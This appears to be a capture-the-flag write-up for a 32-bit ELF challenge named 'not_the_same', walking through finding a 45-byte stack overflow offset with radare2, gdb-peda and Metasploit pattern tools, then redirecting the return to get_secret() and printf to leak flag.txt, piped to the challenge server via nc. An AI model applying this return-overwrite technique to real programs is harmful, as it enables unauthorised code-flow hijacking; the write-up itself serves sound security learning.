A lamer friend ask for your help to exploit a new bin. Can you help him?
Send to 126.96.36.199 8006
PS: You dont need shell access to retrieve this flag. The binary have everything.
PS 2: Send to the server like you would do through netcat. Ex: "cat myexploit | nc 188.8.131.52 8009". The server will handle the input and pass to the binary, greping the flag output (if correct). The server does not accept "\x00" or "\x0a" (and it's not necessary to grab the flag)
Solved by 7 Teams - Created by @fallc0nn
Received a 32bit ELF binary(not stripped) that when you run it asks something and exit.
Analyzing and locally cracking
With the binary loaded on radare2 in analyze/debug mode.
$ r2 -Ad not_the_same
We can se a buffer of
0x3c (decimal=60) allocated, wich certainly can be overflown allowing us to take control of the Return.. but where we will point to get the flag?
Searching for the obvious, we can see that the
get_secret() function is working w/ the string
flag.txt, probably the filename of the file containing the flag as in the last chall(pwn200-get_started).
flag.txt file locally w/ random content to try exploit and read it in some way, and start debuggin..
Set a breakpoint at
main() return and tried to jump directy to
get_secret() 0x080489a0. It runs but return anything..
Ok, put another breakpoint a his
return(0x080489de), jumped again and read the
Nice, this address was storing our
flag.txt content. But, how to print it out without debugger?
__printf() function at
main() function? This will be our gadget!
This function expect 2 vars, reads the second and print out the content.
Making the exploit
First we need to discover the exact offset to overflow the buffer and take control of the return.
In this case you can do this by trial and error incrementing the number of a's until get a Segmentation fault:
... $ python -c 'print "a"*43' | ./not_the_same b0r4 v3r s3 7u 4h o b1ch4o m3m0... $ python -c 'print "a"*44' | ./not_the_same b0r4 v3r s3 7u 4h o b1ch4o m3m0... $ python -c 'print "a"*45' | ./not_the_same Segmentation fault
But let's find this offset by the hacker way..
Start not_the_same on a looping bash at port 1337
$ while true; do nc -nlvp 1337 -e ./not_the_same ; done
attach to the running
$ ps x|grep not_the_same 2810 pts/0 S+ 0:00 nc -nlvp 1337 -e ./not_the_same
gdb is watching, let's overflow it..
Generate a offset pattern using
pattern_create.rb from Metasploit framework..
$ sudo `locate pattern_create.rb` -l 200
..and send the generated pattern through port 1337 using
nc -nvv 127.0.0.1 1337
gdb-peda will show you the address the pattern has broken is
Pass this address to
$ sudo `locate pattern_offset.rb` -q 0x41356241
..and you will get the exact match at
"a"*45, 45 bytes to overflow the input buffer leaving some bytes to move the next Return.
- Move the return to
0x80489a0, get_secret() address.
- Move the return to
0x0804f0a0__printf() address +
AAAA4 bytes junk address +
fl4gto print out.
$ ./ppwn.py | ./not_the_same
The exploit is working locally, now uncomment the remote lines to run through
netcat.py or simply pipe it through
nc to get the flag..
$ ./ppwn.py | nc 184.108.40.206 8006